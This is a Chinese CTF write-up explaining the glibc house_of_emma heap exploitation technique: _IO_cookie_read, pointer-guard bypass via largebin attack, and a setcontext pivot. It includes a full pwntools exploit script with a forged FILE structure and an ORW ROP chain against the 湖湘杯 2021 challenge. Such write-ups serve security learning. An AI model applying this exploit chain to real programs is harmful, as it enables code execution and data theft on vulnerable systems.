常回家看看之house_of_emma

CH13hh發表於2024-09-13

house_of_emma

前言:

相比較於house_of_kiwi(house_of_kiwi),house_of_emma的手法更加***鑽,而且威力更大,條件比較寬鬆,只需要lagebin_attack即可完成。

當然把兩著放到一起是因為它們都利用了__malloc_assest來重新整理IO流,不同的是,house_of_kiwi是透過修改呼叫函式的指標,還有修改rdx(_IO_heaper_jumps)的偏移達到目的的,條件需要兩次任意地址寫,相對來說比較苛刻,然後house_of_emma則是利用了vtable地址的合法性,在符合vtable的地方找到了一個函式_IO_cookie_read,這個函式存在_IO_cookie_jumps中,可以看一下。

pwndbg> p _IO_cookie_jumps
$1 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7bc53c683dc0 <_IO_new_file_finish>,
  __overflow = 0x7bc53c684790 <_IO_new_file_overflow>,
  __underflow = 0x7bc53c684480 <_IO_new_file_underflow>,
  __uflow = 0x7bc53c685560 <__GI__IO_default_uflow>,
  __pbackfail = 0x7bc53c686640 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7bc53c6839b0 <_IO_new_file_xsputn>,
  __xsgetn = 0x7bc53c685740 <__GI__IO_default_xsgetn>,
  __seekoff = 0x7bc53c678ae0 <_IO_cookie_seekoff>,
  __seekpos = 0x7bc53c685900 <_IO_default_seekpos>,
  __setbuf = 0x7bc53c6826d0 <_IO_new_file_setbuf>,
  __sync = 0x7bc53c682560 <_IO_new_file_sync>,
  __doallocate = 0x7bc53c677ef0 <__GI__IO_file_doallocate>,
  __read = 0x7bc53c6789c0 <_IO_cookie_read>,
  __write = 0x7bc53c6789f0 <_IO_cookie_write>,
  __seek = 0x7bc53c678a40 <_IO_cookie_seek>,
  __close = 0x7bc53c678aa0 <_IO_cookie_close>,
  __stat = 0x7bc53c6867a0 <_IO_default_stat>,
  __showmanyc = 0x7bc53c6867d0 <_IO_default_showmanyc>,
  __imbue = 0x7bc53c6867e0 <_IO_default_imbue>
}

可以看見它位於_IO_cookie_jumps+0x38+0x38的位置,至於為什麼不寫_IO_cookie_jumps+0x70,這樣為了方便後面理解。

我們看看_IO_cookie_read都做了什麼

  0x7bc53c6789c0 <_IO_cookie_read>       endbr64 
   0x7bc53c6789c4 <_IO_cookie_read+4>     mov    rax, qword ptr [rdi + 0xe8]
   0x7bc53c6789cb <_IO_cookie_read+11>    ror    rax, 0x11  
   0x7bc53c6789cf <_IO_cookie_read+15>    xor    rax, qword ptr fs:[0x30] #解密處理
   0x7bc53c6789d8 <_IO_cookie_read+24>    test   rax, rax
 ► 0x7bc53c6789db <_IO_cookie_read+27>    je     _IO_cookie_read+38                <_IO_cookie_read+38>
 
   0x7bc53c6789dd <_IO_cookie_read+29>    mov    rdi, qword ptr [rdi + 0xe0]
   0x7bc53c6789e4 <_IO_cookie_read+36>    jmp    rax  #call rax

可以看見call rax 也就是我們如果控制了rax那麼就可以控制程式流,但是在此之前可以看見對rax進行了解密處理,將rax迴圈右移0x11,然後再和fs+0x30處的位置異或得到最後的rax

最後去查了一下,這個是glibc的PointerEncryption(自指標加密),是glibc保護指標的一種方式,glibc是這樣解釋的:指標加密是 glibc 的一項安全功能,旨在增加攻擊者在 glibc 結構中操縱指標(尤其是函式指標)的難度。此功能也稱為 “指標修飾” 或 “指標守衛”。

這個值存放在TLS段上,一般情況下我們洩露不了,但是我們可以透過largebin_attack把一個堆塊地址寫入這個地址,那麼key就變成了堆塊指標,所以我們只需要,進行相應的加密就可以控制rax達到任意地址。那麼如果控制這個rax為system("/bin/sh")的地址,那麼就可以跳轉到此處執行shell。

然而還有一個問題,就是如果程式使用了沙箱禁用了execve,那麼還是要進行遷移,需要用到setcontext,但是我們知道,這個函式再glibc2.29以後控制的暫存器從原來的rdi變成了rdx,也就是我們要控制rdx的值,但是當處於_IO_cookie_read,會發現此時rdx的值為0,而rdi也就是我們偽造的fake_io堆塊,那麼需要一個gadget,既能將rdi mov到rdx,又能繼續接下來的程式流。

常回家看看之house_of_emma

那麼可以找到這樣的一個gadget

常回家看看之house_of_emma

這個gadget可以將rdi+8處地址給rdx,而且最後call rdx+0x20那麼我們久可以繼續控制程式流了。

怎麼控制呢,如果把rdx+0x20的地方給setcontext+61的話,可以繼續控制rdx+0xe0和rdx+0xe8的位置,那麼就可以控制程式流進行orw

例題:[湖湘杯 2021]house_of_emma

這個題目是一個vm的題目,需要輸入opcode,來執行相應的效果。但是我們重心在house_of_emma上,但是這個opcode可以看看最後的exp,也不難理解,類似對你輸入的指令進行8位分割

add函式申請堆塊大小在0x40f到0x500之間

常回家看看之house_of_emma

edit函式不能修改堆塊之外的資料

常回家看看之house_of_emma

問題出在free函式,存在uaf漏洞

常回家看看之house_of_emma

show函式

常回家看看之house_of_emma

分析:

本題libc給的是2.34的,那麼__free_hook,malloc_hook等被移除了,當然因為存在UAF,而且還可以edit,那麼洩露libc地址和heap地址會很容易,我們要偽造IO鏈,因為最後會使用stdder實現報錯輸出,所以我們可以劫持這個鏈子,將_lock給成合法地址,vtable給成 _IO_cookie_jumps+0x38,前面提到了這樣是因為最後會call _IO_cookie_jumps+0x38再加上0x38的地址,就會到_IO_cookie_read,然後使用call rax的gadget佈置rdx,然後call rdx+0x20 進入setcontxt + 61,然後就是orw了。

EXP:

from gt import *

con("amd64")

libc = ELF("./libc.so.6")
io = process("emma")


opcode = b""

def add(index,size):
    global opcode
    opcode += b'\x01'+p8(index)+p16(size)


def free(index):
    global opcode
    opcode += b'\x02'+p8(index)


def show(index):
    global opcode
    opcode += b'\x03'+p8(index)


def edit(index,msg):
    global opcode
    opcode += b'\x04' + p8(index) + p16(len(msg)) + msg



def run():
    global opcode
    opcode += b'\x05'
    io.sendafter("Pls input the opcode",opcode)
    opcode = b""

# 加密函式 迴圈左移
def rotate_left_64(x, n):
    # 確保移動的位數在0-63之間
    n = n % 64
    # 先左移n位
    left_shift = (x << n) & 0xffffffffffffffff
    # 然後右移64-n位,將左移時超出的位移動回來
    right_shift = (x >> (64 - n)) & 0xffffffffffffffff
    # 合併兩部分
    return left_shift | right_shift


add(0,0x410)
add(1,0x410)
add(2,0x420)
add(3,0x410)
free(2)
add(4,0x430)
show(2)
run()
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done")
io.recvuntil("Done\n")
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x1f30b0
suc("libc_base",libc_base)
pop_rdi_addr = libc_base + 0x000000000002daa2 #: pop rdi; ret; 
pop_rsi_addr = libc_base + 0x0000000000037c0a #: pop rsi; ret; 
pop_rdx_r12 = libc_base + 0x00000000001066e1 #: pop rdx; pop r12; ret;
pop_rax_addr = libc_base + 0x00000000000446c0 #: pop rax; ret;
syscall_addr = libc_base + 0x00000000000883b6 #: syscall; ret;
setcontext_addr = libc_base + libc.sym["setcontext"]
stderr = libc_base + libc.sym["stderr"]
open_addr = libc.sym['open']+libc_base
read_addr = libc.sym['read']+libc_base
write_addr = libc.sym['write']+libc_base



#suc("guard",guard)
_IO_cookie_jumps = libc_base + 0x1f3ae0 

edit(2,b'a'*0x10)
show(2)
#gdb.attach(io)
run()
io.recvuntil("a"*0x10)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) -0x2ae0 
suc("heap_base",heap_base)
guard = libc_base+ 0x20d770
suc("guard",guard)

free(0)
payload = p64(libc_base + 0x1f30b0)*2 + p64(heap_base +0x2ae0) + p64(stderr - 0x20)
edit(2,payload)
add(5,0x430)
edit(2,p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run()

free(2)
add(6,0x430)
free(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410)


#gdb.attach(io)
run()
free(7)
add(8, 0x430)
edit(7,b'a' * 0x438 + p64(0x300))
run()



flag = heap_base + 0x22a0 + 0x260

orw =p64(pop_rdi_addr)+p64(flag)
orw+=p64(pop_rsi_addr)+p64(0)
orw+=p64(pop_rax_addr)+p64(2)
orw+=p64(syscall_addr)


orw+=p64(pop_rdi_addr)+p64(3)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050)     # 從地址 讀出flag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(read_addr)


orw+=p64(pop_rdi_addr)+p64(1)
orw+=p64(pop_rsi_addr)+p64(heap_base+0x1050)     # 從地址 讀出flag
orw+=p64(pop_rdx_r12)+p64(0x30)+p64(0)
orw+=p64(write_addr)




gadget = libc_base + 0x146020  # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
chunk0 = heap_base + 0x22a0
xor_key = chunk0
suc("xor_key",xor_key)

fake_io = p64(0) + p64(0) # IO_read_end IO_read_base
fake_io += p64(0) + p64(0) + p64(0) # IO_write_base IO_write_ptr IO_write_end
fake_io += p64(0) + p64(0) # IO_buf_base IO_buf_end
fake_io += p64(0)*8 #_IO_save_base ~ _codecvt
fake_io += p64(heap_base) + p64(0)*2  #_lock   _offset  _codecvt
fake_io = fake_io.ljust(0xc8,b'\x00')

fake_io += p64(_IO_cookie_jumps+0x38) #vtable
rdi_data = chunk0 + 0xf0
rdx_data = chunk0 + 0xf0


encrypt_gadget = rotate_left_64(gadget^xor_key,0x11)
fake_io += p64(rdi_data)
fake_io += p64(encrypt_gadget)
fake_io += p64(0) + p64(rdx_data)
fake_io += p64(0)*2 + p64(setcontext_addr + 61)
fake_io += p64(0xdeadbeef)
fake_io += b'a'*(0xa0 - 0x30)
fake_io += p64(chunk0+0x1a0)+p64(pop_rdi_addr+1)
fake_io += orw
fake_io += p64(0xdeadbeef)
fake_io += b'flag\x00\x00\x00\x00'
edit(0,fake_io)
run()

add(9,0x4c0)
gdb.attach(io)
run()
io.interactive()

gdaget call rax

常回家看看之house_of_emma

call setcontext +61

常回家看看之house_of_emma

實現遷移

常回家看看之house_of_emma

最終效果

常回家看看之house_of_emma

總結:

我個人感覺這個威力還是不小的,但是打遠端的話需要爆破tls地址這個比較麻煩,無論是house_of_kiwi還是house_of_emma都是利用了__malloc_assest,但是遺憾的是,這個函式在後來的libc中,不能處理IO了,最後甚至去掉了,但是在這之前的版本還是可以利用的。

最後這個題目的附件在NSSCTF平臺上面有,有興趣的師傅可以試一下。

The best way to predict the future is to create it.

相關文章